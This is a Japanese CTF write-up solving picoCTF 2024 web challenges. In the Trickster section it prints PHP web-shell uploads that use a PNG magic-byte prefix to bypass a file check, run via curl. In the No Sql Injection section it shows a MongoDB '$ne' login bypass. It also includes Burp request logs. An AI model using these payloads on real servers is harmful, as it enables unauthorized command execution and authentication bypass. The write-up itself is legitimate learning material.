最初に
PicoCTF 2024のWebの問題を解いていきます!!
分からないところは適宜、他の方のWriteupを参考にしていきます
Writeup
全部で6問解きました!
ここから、Writeupを記載していきます。
WebDecode
問題文は以下で、WebのDev Toolを使う問題のようです。
Do you know how to use the web inspector?
Additional details will be available after launching your challenge instance.
問題のURLを開くと、頑張って探せよ!という強いメッセージのWebページが。笑
問題文にweb inspectorとあるので、F12を押すか、右クリックして「検証」を押すとDev Toolに入れます。
そして、1つずつ確認していくと明らかに怪しい文字列があるので、これがFlagになります(確かBASE64だったはず!)
Unminify
問題文は以下です。
I don't like scrolling down to read the code of my website, so I've squished it. As a bonus, my pages load faster!
右クリックして「ページのソースを表示」を選択すると、改行されていないソースコードがあるので、「行を折り返す」にチェックを入れると少しだけ見やすくなります!
IntroToBurp
WebフォームのURLが与えられて、問題文的にBurp Suiteを使うと思われる問題ですね。
結論だけいうと、Burp Suiteで一行削除するだけでいいのですが、いろいろ試行錯誤してしまいましたw
自分ではわからなかったので、以下のWriteupを参考にしました
Bookmarklet
Why search for the flag when I can make a bookmarklet to print it for me?
Additional details will be available after launching your challenge instance.
Bookmarkletとは、、、
プログラミング言語のJavaScriptで作られたプログラムをブックマークのURLに追加することで利用可能です。
ブックマークレットを使えば、Webページの見た目を変えたり、選択したテキストをキーワード検索したり、ページ翻訳したりなど、さまざまな機能を簡単に実行できます。
引用元
Trickster
I found a web app that can help process images: PNG images only!
テキストファイルの拡張子だけを変更したものをアップしてみると、エラーがでたので、ファイルの中身まで見ているみたい
エラー文
Error: The file is not a valid PNG image: efbbbf41
efbbbf41
は何を表しているんだろう、、、
PDFはアップロードできるみたい
実行ファイルの拡張子を変えてアップすると、また違ったエラーがでた。裏ではPHPが動いているみたい
Fatal error: Uncaught ValueError: Path cannot be empty in /var/www/html/index.php:18 Stack trace: #0 /var/www/html/index.php(18): file_get_contents('') #1 {main} thrown in /var/www/html/index.php on line 18
他に手がかりもないので、robots.txtも見てみる
User-agent: *
Disallow: /instructions.txt
Disallow: /uploads/
instructions.txt
を見てみると、アップロードファイルの判定基準が記載されていました!
Let's create a web app for PNG Images processing.
It needs to:
Allow users to upload PNG images
look for ".png" extension in the submitted files
make sure the magic bytes match (not sure what this is exactly but wikipedia says that the first few bytes contain 'PNG' in hexadecimal: "50 4E 47" )
after validation, store the uploaded files so that the admin can retrieve them later and do the necessary processing.
判定基準は2つですね
- 拡張子が
.png
- 16進数表記でファイルの先頭が
50 4E 47
uploads/
はアクセス権限がないみたい。adminが編集するため格納するって書いてあったしね。。。
ただ、そのフォルダーに格納されたファイルは直接アクセスできそうです
ということは、リバースシェルを張るプログラムを作成して、その先頭を50 4E 47
にして、直接URLをたたけば、リバースシェルがはれるかも?
50 4E 47
はもとに戻すとPNG
ということで、Pentestmopnkeyのphp-reverse-shellの最初にPNGを追加してみる。
アップロードは成功! いい感じ!
わからなくなったので、以下のWriteupを見てみる。
流れは間違っていなさそう。ただ、ファイルの末尾を.png.php
にする必要があったみたい
WebUIだと、.png
以外を選択できないのでcurlでアップロードするとのこと。。
なるほど。。。
まずはPNG<?php phpinfo(); ?>
をtest.png.php
で作成してアップロード
┌──(kali㉿kali)-[~/…/PicoCTF/picoCTF_2024/Web/Trickster]
└─$ curl -F file=@test.png.php http://atlas.picoctf.net:62638/
<!DOCTYPE html>
<html>
<head>
<title>File Upload Page</title>
</head>
<body>
<h1>Welcome to my PNG processing app</h1>
File uploaded successfully and is a valid PNG file. We shall process it and get back to you... Hopefully
<form method="POST" enctype="multipart/form-data">
<input type="file" name="file" accept=".png">
<input type="submit" value="Upload File">
</form>
</body>
</html>
以下のファイルをアップロードして実行して、/uploads
に格納されているファイルを確認してみる
PNG
<?php
$output = null;
exec('find ./ -type f', $output);
print_r($output);
?>
Writeupにあったコマンドをアップロードして実行して、一つ上の階層のファイルを見てみる
PNG
<?php
$output = null;
exec('find ../ -type f', $output);
print_r($output);
?>
明らかに怪しいMQZWCYZWGI2WE.txtの中身をみるPHPスクリプトを作成して、アップロード!
PNG
<?php
$output = null;
exec('cat ../MQZWCYZWGI2WE.txt', $output);
print_r($output);
?>
これをURLで直接たたけば、フラグが手に入ります!
No Sql Injection
URLだけでなく、ファイルも与えられる問題ですね
URLを叩くとログイン画面になって、適当に入力したら、普通にエラーになります
index.htmlの最後に記載のあるScriptをWebページのコンソールで直接実行する
document.getElementById('loginForm').addEventListener('submit', function(event) {
event.preventDefault();
const formData = {
email: document.getElementById('email').value,
password: document.getElementById('password').value
};
fetch('/login', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(formData)
})
.then(response => response.json())
.then(data => {
console.log(data);
if (data.success) {
// Save email and password to session storage (or handle it as needed)
sessionStorage.setItem('email', data.email);
sessionStorage.setItem('token', data.token);
sessionStorage.setItem('firstName', data.firstName);
sessionStorage.setItem('lastName', data.lastName);
window.location.href = '/admin';
} else {
alert('Invalid credentials');
}
})
.catch(error => console.error('Error:', error));
});
適当な認証情報を入れて、ログイン失敗した時には、以下の出力がコンソールに出力される。
あと、上記のScriptを実行しておくと、認証失敗が2回でるようになった、、
{success: false}
success
:
false
[[Prototype]]
:
Object
constructor
:
ƒ Object()
hasOwnProperty
:
ƒ hasOwnProperty()
isPrototypeOf
:
ƒ isPrototypeOf()
propertyIsEnumerable
:
ƒ propertyIsEnumerable()
toLocaleString
:
ƒ toLocaleString()
toString
:
ƒ toString()
valueOf
:
ƒ valueOf()
__defineGetter__
:
ƒ __defineGetter__()
__defineSetter__
:
ƒ __defineSetter__()
__lookupGetter__
:
ƒ __lookupGetter__()
__lookupSetter__
:
ƒ __lookupSetter__()
__proto__
:
(...)
get __proto__
:
ƒ __proto__()
set __proto__
:
ƒ __proto__()
以下はserver.jsの一部を引用しているが、MongoDBからuserの情報を抜き取れれば、success: true
になりそう。。
try {
const user = await User.findOne({
email:
email.startsWith("{") && email.endsWith("}")
? JSON.parse(email)
: email,
password:
password.startsWith("{") && password.endsWith("}")
? JSON.parse(password)
: password,
});
if (user) {
res.json({
success: true,
email: user.email,
token: user.token,
firstName: user.firstName,
lastName: user.lastName,
});
} else {
res.json({ success: false });
}
}
わからなくなったので、またまた以下のWriteupにお世話になりました
EmailとPasswordに{"$ne":""}
を入れてみるみたい
入れるとうまくいく
"$ne"はMongoDBで等しくないことを表す演算子で、
{ "<field>": { "$ne": <value> } }
として使うみたい
{"$ne":""}を使うとサーバー側では以下の処理を実施して、空欄でないものを出力するようになります
User.findOne({
email:{"$ne": ""}
password:{"$ne": ""}
});
server.jsの最初の方に初期ユーザーを登録するコードがあったので、このユーザーの情報が出力されたと思われますね
// Store initial user
const initialUser = new User({
firstName: "pico",
lastName: "player",
email: "picoplayer355@picoctf.org",
password: crypto.randomBytes(16).toString("hex").slice(0, 16),
});
await initialUser.save()
elements
以下のWriteupを見たが、自分にはまだ早かったようだ、、、、
最後に
今回学んだことは以下
- WebUIでファイルアップロードできるWebページはcurlでもアップロードできる
- No SQLのInjectionもできる(良い経験になった!)」
- ファイルアップロードの判定基準を探ることは大切
参考
IntroToBurpでいろいろ試したこと
結果的に解答にはつながらなかったですが、いろいろ試したことを備忘録として記載しておきます。。。。。。
OTP(たぶんOne Time Password)があっていないと怒られる
ここからBurp Suiteを使ってみる
まずはWebフォームにアクセスしたときの出力
GET / HTTP/1.1
Host: titan.picoctf.net:56409
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Registerを押した後のBurpの出力は以下
POST / HTTP/1.1
Host: titan.picoctf.net:56409
Content-Length: 174
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
Origin: http://titan.picoctf.net:56409
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://titan.picoctf.net:56409/
Accept-Encoding: gzip, deflate, br
Cookie: session=eyJjc3JmX3Rva2VuIjoiMDIzMDU4NDRmZmE1OTRhODgyNDY5OGQwYTg0OTI4Mzg1NTc2MDQ2YSJ9.Z3CjSQ.3OAjo9K9pAjui9rAZBY-bgDnFw4
Connection: keep-alive
csrf_token=IjAyMzA1ODQ0ZmZhNTk0YTg4MjQ2OThkMGE4NDkyODM4NTU3NjA0NmEi.Z3CjSQ.mCSDQ8kJulS1Z9J2iU7BeApjqbQ&full_name=a&username=a&phone_number=a&city=a&password=a&submit=Register
Cookieのsession=
の値はJWTのようなので、https://jwt.io/ で調べてみる
csrf_token
の前半もJWTのようだったので、同じく調べてみた
2つが示すcsrf_tokenは同じ値なので、なんだか意味のありそうな、なさそうな結果になった
Burpでもう一度、URLをたたいてForwardしてみる
GET /dashboard HTTP/1.1
Host: titan.picoctf.net:56409
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US
Referer: http://titan.picoctf.net:56409/
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJw9jEsKAyEQRO_iOgs_rWlzGenMKAmZUfFDCGHuPgYku6pXvPqy5dk-7MaIXdhSS3AtvXwcgEvFNQKEQNoCIUowFldOCFaiQq2vhoP5eaFvm4u0-_mTWh5JKCGVGDVTre9U1rnmR4rexb7ffZmoV1_-_nECJIgqqQ.Z3ClpQ.GsrtgeXWdv8hwiWtcqLdAoD7TNA
Connection: keep-alive
Cookie: sessionがJWTのようでJWTでない、かつ、BASE64でもないので、気になる。。
一旦、続けてForwardする
MFAの入力画面で、aを入れてsubmitを押す
まさかのBurpは何も出力しない(Timeoutしたのか??)
時間切れになったので、picoCTF側のインスタンス再起動して再度Registerしてみる
POST / HTTP/1.1
Host: titan.picoctf.net:62807
Content-Length: 174
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
Origin: http://titan.picoctf.net:62807
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://titan.picoctf.net:62807/
Accept-Encoding: gzip, deflate, br
Cookie: session=eyJjc3JmX3Rva2VuIjoiMjgwM2RkMmIwOWQzMDg1OTYwOGMwNTQ3ZWI1ZGQ5YzVjNTdjMjQ4NyJ9.Z3CpdQ.L0Yde1hf4jtebXNe_XAvBkGgq50
Connection: keep-alive
csrf_token=IjI4MDNkZDJiMDlkMzA4NTk2MDhjMDU0N2ViNWRkOWM1YzU3YzI0ODci.Z3CpdQ.N1TEgzNZ5WJI9Oc6Tdl7mg8DFTg&full_name=a&username=a&phone_number=a&city=a&password=a&submit=Register
お、Cookieやcsrf_tokenの出力結果が変わった
GET /dashboard HTTP/1.1
Host: titan.picoctf.net:62807
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US
Referer: http://titan.picoctf.net:62807/
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJw9jM0KwyAQhN_Fcw9islH7MqK7G1qaqPhDKaXvHg_S28w3fPMV-GwfcRde3ATWsruWXhwHUEYuRCpIS4s0YDdpUMKqOQCRRUDQqFajh7f343DRnzx_UssjgbVGq1Gzr_WdCs01P1JkF_sZuEzUK5e__7sAgWorqg.Z3CqIg.4NYKlxcrPJVu10akDtVrL-5P0yE
Connection: keep-alive
Cookieの値も少し違うな、、、最初の数文字は同じだが、、
POST /dashboard HTTP/1.1
Host: titan.picoctf.net:62807
Content-Length: 5
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
Origin: http://titan.picoctf.net:62807
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://titan.picoctf.net:62807/dashboard
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJw9jM0KwyAQhN_Fcw9islH7MqK7G1qaqPhDKaXvHg_S28w3fPMV-GwfcRde3ATWsruWXhwHUEYuRCpIS4s0YDdpUMKqOQCRRUDQqFajh7f343DRnzx_UssjgbVGq1Gzr_WdCs01P1JkF_sZuEzUK5e__7sAgWorqg.Z3CqIg.4NYKlxcrPJVu10akDtVrL-5P0yE
Connection: keep-alive
otp=a
全部bで入れてみる
POST / HTTP/1.1
Host: titan.picoctf.net:62807
Content-Length: 174
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
Origin: http://titan.picoctf.net:62807
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://titan.picoctf.net:62807/
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJw9jM0KwyAQhN_Fcw9islH7MqK7G1qaqPhDKaXvHg_S28w3fPMV-GwfcRde3ATWsruWXhwHUEYuRCpIS4s0YDdpUMKqOQCRRUDQqFajh7f343DRnzx_UssjgbVGq1Gzr_WdCs01P1JkF_sZuEzUK5e__7sAgWorqg.Z3CqIg.4NYKlxcrPJVu10akDtVrL-5P0yE
Connection: keep-alive
csrf_token=IjI4MDNkZDJiMDlkMzA4NTk2MDhjMDU0N2ViNWRkOWM1YzU3YzI0ODci.Z3CrTA.Qx32XnNMdPZlgxXhEfq7DcEKXmk&full_name=b&username=b&phone_number=b&city=b&password=b&submit=Register
GET /dashboard HTTP/1.1
Host: titan.picoctf.net:62807
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US
Referer: http://titan.picoctf.net:62807/
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJw9jMEKwyAQRP_Fcw-LyUbtz0jc3dDSREUNoZT-ez1IbzNvePNR9GxvdVdB3RTVsvmWXhI70BYmZh3A8QQW3QKWAGcjAZkdIaEhPVvTve3cdx_XQ8ZParknAL0g9prXWq9UeKz5kaL4eB5BykBnlfL3vz99oiuZ.Z3CsSA.K9txpGugJK4AS_YZ58ZaHuNkDMk
Connection: keep-alive
MFA入力後
POST /dashboard HTTP/1.1
Host: titan.picoctf.net:62807
Content-Length: 5
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
Origin: http://titan.picoctf.net:62807
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://titan.picoctf.net:62807/dashboard
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJw9jMEKwyAQRP_Fcw-LyUbtz0jc3dDSREUNoZT-ez1IbzNvePNR9GxvdVdB3RTVsvmWXhI70BYmZh3A8QQW3QKWAGcjAZkdIaEhPVvTve3cdx_XQ8ZParknAL0g9prXWq9UeKz5kaL4eB5BykBnlfL3vz99oiuZ.Z3CsSA.K9txpGugJK4AS_YZ58ZaHuNkDMk
Connection: keep-alive
otp=a
ここまで試して以下2つのことがわかった
- 入力後のCookieとMFAの画面が表示される前のCookieが違う
- MFAの入力前後でCookieは同じ
それならば、最初から最後まで同じCookieになるようにBurp Suiteで値を書き換える
POST / HTTP/1.1
Host: titan.picoctf.net:62807
Content-Length: 174
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
Origin: http://titan.picoctf.net:62807
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://titan.picoctf.net:62807/
Accept-Encoding: gzip, deflate, br
Cookie: session=eyJjc3JmX3Rva2VuIjoiOTk4MzY3ZTI0NTkxZmEzMDkzOTEwMDY0ZjA5ZjYxY2U1YTViZThjMiJ9.Z3CtTg.ZWDcY6bwdW0sQPVbQsD7IcWvnLc
Connection: keep-alive
csrf_token=Ijk5ODM2N2UyNDU5MWZhMzA5MzkxMDA2NGYwOWY2MWNlNWE1YmU4YzIi.Z3CtTg.oypVF2_vmu7HytGZonX16LZamlw&full_name=a&username=a&phone_number=a&city=a&password=a&submit=Register
Cookieとcsrf_tokenのJWTの値を調べる
https://jwt.io/#debugger-io?token=eyJjc3JmX3Rva2VuIjoiOTk4MzY3ZTI0NTkxZmEzMDkzOTEwMDY0ZjA5ZjYxY2U1YTViZThjMiJ9.Z3CtTg.ZWDcY6bwdW0sQPVbQsD7IcWvnLc
csrf_tokenは以下の値になっていることを確認
"csrf_token": "998367e24591fa3093910064f09f61ce5a5be8c2"
普通にForwardすると以下の出力になるが、、、
GET /dashboard HTTP/1.1
Host: titan.picoctf.net:62807
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US
Referer: http://titan.picoctf.net:62807/
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJw9jEsOAiEQRO_SaxcwTMO0lyEMNtE4A4RPjDHeXRbEXdWrvPqAf7Q3XMHBBXwtwbb05DgA0aa04WVFksEpQYqkEHoNgoKWntHhzptfhhf6cdjoTp4_qeWRpEE0OGp2tb5Suc0131NkG_u5c5moVy5___sDZVUrdQ.Z3Ct_w.hBLE8xmb3-3K1LGmU3HO-k_H5vk
Connection: keep-alive
結果は、、、
入力欄がリセットされただけだった。。。。
以下のWriteupを見ましたが、Burpで値を一部削除すればいいだけだったみたい、、、
いや、逆に難しい、、、